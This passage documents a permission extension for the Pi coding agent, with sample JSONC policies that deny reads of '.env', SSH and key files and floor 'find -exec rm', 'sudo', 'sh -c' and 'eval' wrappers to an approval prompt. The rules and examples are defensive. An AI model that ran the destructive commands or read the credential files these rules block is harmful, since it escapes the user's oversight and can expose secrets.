A bare filename with no path shape at all (e.g. `id_rsa` in `cat id_rsa`) is also gated, provided it names a file that actually exists — so `"id_rsa": "deny"` or `"*.pem": "deny"` blocks the file whether it is referenced by a bare name, a relative path, or the `read` tool.
|
||
Because the resolved path is matched, this covers a bare **symlink** whose target a rule names: with `".some.secret": "deny"`, `cat a_sym` is denied when `a_sym` points at `.some.secret`.
|
||
A bare token that names nothing (e.g. `status` in `git status`, `build` in `npm run build`) is left alone, so ordinary subcommands and branch names never prompt.
|
||
An existing file that matches no `path` rule is likewise left alone — the catch-all `"*"` entry alone does not gate it.
|
||
|
||
A path embedded in a long option (e.g. `--file=/tmp/patterns` in `grep --file=/tmp/patterns target`) is extracted and gated like any other path token; an option value that is not path-shaped (e.g. `--format=json`) is ignored.
|
||
|
||
On Windows, where a backslash is a path separator, a backslash-relative bash argument (e.g. `dir\file` in `cat dir\file`) is gated by a `path` rule the same as its forward-slash equivalent (`dir/file`) and the same as the file accessed through the `read` tool.
|
||
On other platforms a backslash is a legal filename character, so such a token is not treated as a path.
|
||
|
||
Three orthogonal layers compose with most-restrictive-wins:
|
||
|
||
| Layer | Question | Applies to |
|
||
| ----------------------- | --------------------------------------- | ---------------- |
|
||
| `path` | Is this specific path pattern allowed? | All tools + bash |
|
||
| Per-tool patterns | Is this path ok for this specific tool? | Individual tools |
|
||
| Bash command rules | Is this command allowed? | Bash only |
|
||
|
||
A `path` allow cannot loosen a per-tool or Bash `ask`/`deny`; the most restrictive result remains effective.
|
||
Configs without a `path` key use the universal fallback (`permission["*"]`) for the `path` surface.
|
||
|
||
Pattern declaration order is not a broad override mechanism. `{ "*.env": "deny", "*": "allow" }` still denies `.env` because `*.env` is more specific.
|
||
|
||
#### `.env` recipe
|
||
|
||
Deny all env files but allow the example template:
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"path": {
|
||
"*": "allow",
|
||
"*.env": "deny",
|
||
"*.env.*": "deny",
|
||
"*.env.example": "allow"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
This denies `.env`, `.env.local`, `.env.production`, and `src/.env`, but allows `.env.example`.
|
||
Bash commands like `cat .env`, `cp .env .env.backup`, and `echo secret > .env` (redirect targets) are all caught.
|
||
|
||
#### Composition with per-tool rules
|
||
|
||
A per-tool allow does not override a `path` deny — the path gate runs first.
|
||
Conversely, a per-tool deny still blocks even when the `path` surface allows:
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"path": { "*": "allow" },
|
||
"read": "deny"
|
||
}
|
||
}
|
||
```
|
||
|
||
Here `read` calls pass the `path` gate but are blocked by the `read` tool gate.
|
||
|
||
### Home Directory Expansion in Patterns
|
||
|
||
Pattern keys in any permission surface can start with `~/`, `$HOME/`, or `${HOME}/` (or be exactly `~`, `$HOME`, or `${HOME}`).
|
||
They are expanded to the OS home directory at match time, so configs are portable across machines and users.
|
||
A prefix is recognized only when it stands alone or precedes a separator, so a longer name (`~username`, `$HOMEDIR`) and a braced expansion carrying an operator (`${HOME:-/tmp}`) are left alone.
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"path": {
|
||
"~/development/*": "allow",
|
||
"*": "ask"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
The pattern is stored and displayed as written (for example `~/development/*`) in logs and approval dialogs.
|
||
|
||
Path **values** supplied by tool calls and bash commands are expanded the same way.
|
||
This means `~/...`, `$HOME/...`, `${HOME}/...`, and the fully-expanded absolute form all match a single home-anchored pattern: a `read` tool called with path `~/.ssh/config`, `$HOME/.ssh/config`, `${HOME}/.ssh/config`, or `/Users/me/.ssh/config` is all caught by a `"~/.ssh/*": "deny"` rule.
|
||
|
||
---
|
||
|
||
## Per-Agent Overrides
|
||
|
||
Override global permissions for specific agents via YAML frontmatter in Pi agent definition files.
|
||
|
||
### Global Agent Override
|
||
|
||
Path: `~/.pi/agent/agents/<agent>.md` (respects `PI_CODING_AGENT_DIR`)
|
||
|
||
```yaml
|
||
---
|
||
name: my-agent
|
||
permission:
|
||
read: allow
|
||
write: deny
|
||
mcp: allow
|
||
bash:
|
||
git *: ask
|
||
git status: allow
|
||
mcp:
|
||
chrome_devtools_*: deny
|
||
exa_*: allow
|
||
skill:
|
||
"*": ask
|
||
---
|
||
```
|
||
|
||
### Project Agent Override
|
||
|
||
Path: `<cwd>/.pi/agents/<agent>.md`
|
||
|
||
Project agent files are resolved from Pi's current session `cwd`, so they are workspace-specific and do **not** move under `PI_CODING_AGENT_DIR`.
|
||
|
||
### Frontmatter Limitations
|
||
|
||
The frontmatter parser is intentionally minimal.
|
||
Use only `key: value` scalars and nested maps.
|
||
Avoid arrays, multi-line scalars, and YAML anchors.
|
||
|
||
---
|
||
|
||
## Common Recipes
|
||
|
||
### Protect Sensitive Files
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"*": "ask",
|
||
"read": {
|
||
"*": "allow",
|
||
"*.env": "deny",
|
||
"*.env.*": "deny",
|
||
"*.env.example": "allow"
|
||
},
|
||
"write": {
|
||
"*": "ask",
|
||
"*.lock": "deny"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
### Read-Only Mode
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"*": "ask",
|
||
"read": "allow",
|
||
"grep": "allow",
|
||
"find": "allow",
|
||
"ls": "allow",
|
||
"write": "deny",
|
||
"edit": "deny"
|
||
}
|
||
}
|
||
```
|
||
|
||
### Restricted Bash Surface
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"*": "ask",
|
||
"bash": {
|
||
"*": "deny",
|
||
"git status": "allow",
|
||
"git diff": "allow",
|
||
"git log *": "allow"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
### Read-Only Bash Command Allowlist
|
||
|
||
The [Read-Only Mode](#read-only-mode) recipe above gates *tools*; this one gates the *bash* surface.
|
||
It allows a curated set of commands whose only effect is to read or report — none can create or modify a file, register, or system state by itself — while every other command falls through to `ask`.
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"*": "ask",
|
||
"write": "deny",
|
||
"edit": "deny",
|
||
"path": {
|
||
"*": "allow",
|
||
"*.env": "deny",
|
||
"*.env.*": "deny",
|
||
"~/.ssh/*": "deny"
|
||
},
|
||
"bash": {
|
||
"*": "ask",
|
||
|
||
// File inspection
|
||
"cat *": "allow",
|
||
"head *": "allow",
|
||
"tail *": "allow",
|
||
"less *": "allow",
|
||
"more *": "allow",
|
||
|
||
// Listing and metadata
|
||
"ls *": "allow",
|
||
"tree *": "allow",
|
||
"stat *": "allow",
|
||
"file *": "allow",
|
||
"wc *": "allow",
|
||
"du *": "allow",
|
||
"df *": "allow",
|
||
|
||
// Search (find/fd with -exec are auto-floored to ask)
|
||
"grep *": "allow",
|
||
"egrep *": "allow",
|
||
"fgrep *": "allow",
|
||
"rg *": "allow",
|
||
"find *": "allow",
|
||
"fd *": "allow",
|
||
|
||
// Comparison and hashing
|
||
"diff *": "allow",
|
||
"cmp *": "allow",
|
||
"comm *": "allow",
|
||
"md5sum *": "allow",
|
||
"sha1sum *": "allow",
|
||
"sha256sum *": "allow",
|
||
"cksum *": "allow",
|
||
|
||
// System info
|
||
"pwd": "allow",
|
||
"whoami": "allow",
|
||
"id": "allow",
|
||
"hostname": "allow",
|
||
"uname *": "allow",
|
||
"date": "allow",
|
||
"uptime": "allow",
|
||
"ps *": "allow",
|
||
"printenv *": "allow",
|
||
"which *": "allow",
|
||
"type *": "allow",
|
||
|
||
// Git read-only subcommands (never a broad "git *")
|
||
"git status": "allow",
|
||
"git diff *": "allow",
|
||
"git log *": "allow",
|
||
"git show *": "allow",
|
||
"git blame *": "allow",
|
||
"git ls-files *": "allow",
|
||
"git branch": "allow",
|
||
"git remote -v": "allow"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
Four existing behaviors keep this allowlist safe — you do not have to enumerate the destructive commands to block them:
|
||
|
||
1. **Redirects are gated by the `path` surface, not `bash`.**
|
||
Allowing `cat *` allows the `cat` command, not a redirect it carries: `cat secret > out.txt` writes `out.txt` through the `path` gate.
|
||
That is why this recipe ships with `write` and `edit` denied and a `path` deny block for sensitive files.
|
||
Keep the `path` surface locked down for anything you would not want an allowed read command to overwrite via `>`.
|
||
2. **`find`/`fd` with an exec flag are floored to `ask`.**
|
||
A bare `find *` search is read-only, so it is safe to allow; the moment an exec flag appears (`find -exec`/`-execdir`/`-ok`/`-okdir`, `fd -x`/`-X`), the [indirection-wrapper floor](#fail-closed-behavior) clamps the decision back to `ask`.
|
||
So `find . -type f -exec rm {} +` still prompts even under `find *: allow`.
|
||
3. **Chained commands resolve most-restrictive.**
|
||
`find . -name '*.log' && rm -f found.log` decomposes into `find …` and `rm …`; `rm` matches only `"*": "ask"`, and the most restrictive result governs the whole invocation, so the chain prompts.
|
||
4. **Wrappers cannot ride the allowlist.**
|
||
`sudo grep …`, `env X=1 cat …`, `sh -c "…"`, and `eval "…"` are floored to `ask` (the [wrapper floors](#fail-closed-behavior)), so an allowed command cannot be smuggled past through a wrapper.
|
||
|
||
`git` is enumerated by read subcommand rather than a broad `git *`, because `git` has mutating subcommands (`commit`, `push`, `branch -D`, `remote add`, `config <key> <value>`).
|
||
Exact patterns like `git status` and `git branch` match only their literal form, so `git branch -D feature` falls through to `"*": "ask"`.
|
||
The `*`-suffixed git patterns (`git diff *`, `git log *`) are safe because those subcommands are read-only regardless of their arguments.
|
||
|
||
Commands that can originate a write are deliberately omitted: `echo` and `printf` are the usual content source for a `>` redirect, `tee` writes its input to a file, and `sort -o`, `sed -i`, and in-place `awk` redirects modify files directly.
|
||
Add them only if you understand that pairing them with `write: deny` and a strict `path` surface is what keeps them from writing.
|
||
|
||
### MCP Discovery Only
|
||
|
||
```jsonc
|
||
{
|
||
"permission": {
|
||
"*": "ask",
|
||
"mcp": {
|
||
"*": "ask",
|
||
"mcp_status": "allow",
|
||
"mcp_list": "allow",
|
||
"mcp_search": "allow",
|
||
"mcp_describe": "allow"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
### Per-Agent Lockdown
|
||
|
||
In the global Pi agents directory (default: `~/.pi/agent/agents/reviewer.md`, respects `PI_CODING_AGENT_DIR`):
|
||
|
||
```yaml
|
||
---
|
||
permission:
|
||
write: deny
|
||
edit: deny
|
||
bash: deny
|
||
---
|
||
```
|
||
|
||
---
|
||
|
||
## Pi Integration Hooks
|
||
|
||
The extension integrates via Pi's lifecycle hooks:
|
||
|
||
| Hook | Behavior |
|
||
| -------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
|
||
| `before_agent_start` | Filters the active tool set (restrict-only), narrows the `Available tools:` system-prompt listing to match, and hides denied skills |
|
||
| `tool_call` | Enforces permissions for every tool invocation |
|
||
| `input` | Intercepts `/skill:<name>` requests and enforces skill policy |
|
||
|
||
Additional behaviors:
|
||
|
||
- Unknown/unregistered tools are blocked before permission checks (prevents bypass attempts)
|
||
- Tool filtering is restrict-only: the active set starts from pi's already-active tools (`pi.getActiveTools()`) and only ever has denied tools removed — the permission system never activates a tool pi left off by default (e.g. `find`, `grep`, `ls`)
|
||
- The `Available tools:` system prompt section is narrowed to match the filtered active tool set: denied tools' lines are dropped, the rest are kept, and the section is removed entirely only when no tool is allowed
|
||
- The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn
|
||
- Extension-provided tools like `task`, `mcp`, and third-party tools are handled by exact registered name
|
||
- Generic extension-tool approval prompts include a bounded input preview; built-in file tools use concise human-readable summaries
|
||
- Permission review logs include `toolInputPreview` values for non-bash/non-MCP tool calls, with sensitive-keyed values masked and every value bounded by `reviewLogFieldMaxWidth` (see [Log file sensitivity](#log-file-sensitivity))
|
||
|
||
---
|
||
|
||
## Log file sensitivity
|
||
|
||
The review log is enabled by default and records what the agent actually did, which means it records payload as well as decisions: the bash command string for every bash decision, and a JSON preview of the tool input for other tools.
|
||
The debug log carries the same payload when `debugLog` is on.
|
||
|
||
Three protections apply.
|
||
|
||
Both logs are created **owner-only** (`0600`, in a `0700` directory), and a log created by an earlier version is tightened on the next write.
|
||
The permission-forwarding request and response files are written the same way.
|
||
This closes the shared-host case: another user on the same machine cannot read them.
|
||
|
||
Values bound to a **sensitive key name** — `authorization`, `token`, `secret`, `password`, `credential`, `cookie`, `api_key`, `private_key`, matched case-insensitively — are masked as `[redacted]` before anything is written.
|
||
So a tool called with `{"authorization": "Bearer …"}` records `{"authorization": "[redacted]"}`.
|
||
|
||
The boundary is worth stating exactly, because it is easy to over-read:
|
||
|
||
> A value bound to a sensitive key name is masked; a secret embedded in a bash command string is not.
|
||
|
||
A command string has no keys, so `deploy --token abc123` is logged unredacted.
|
||
The extension deliberately does not try to guess which parts of a command look secret-shaped — see [ADR 0010] for the measured reasoning.
|
||
|
||
Every value the **review** log writes is narrowed to `reviewLogFieldMaxWidth` (1000 characters by default) and marked with an ellipsis, so a single pathological command cannot put tens of kilobytes in one entry.
|
||
This is a length bound, not redaction: it never inspects a value to decide what to hide, and it applies to every field alike.
|
||
The two compose — a sensitive-keyed value is masked whole however long it was.
|
||
The debug log is left unbounded, since it is opt-in and exists to be read in full.
|
||
|
||
Practical guidance:
|
||
|
||
- Treat both log files as sensitive when sharing them: scrub before pasting into an issue or a chat.
|
||
- Set `"permissionReviewLog": false` (and leave `debugLog` off) for a session that will handle credentials on the command line.
|
||
- Owner-only modes do not protect against anything running as you, including a backup or cloud-sync agent that copies your home directory.
|
||
|
||
[ADR 0010]: https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/decisions/0010-permission-log-secret-exposure.md
|
||
|
||
---
|
||
|
||
## Schema Validation
|
||
|
||
The package includes two schemas:
|
||
|
||
- `schemas/permissions.schema.json` for `policy.jsonc`;
|
||
- `schemas/hard-guards.schema.json` for `hard-guards.jsonc`.
|
||
|
||
Associate those packaged files with the corresponding JSONC filenames in your editor. Command-line validators that only accept JSON must receive a comment-stripped temporary copy; do not rewrite the user's JSONC merely to validate it.
|
||
|
||
The ordinary policy schema is generated from `src/config-schema.ts`; regenerate it with `npm run gen:schema` after changing that shape. Keep the hard-guard schema synchronized with `HardGuardPolicyLoader` whenever its accepted document changes.
|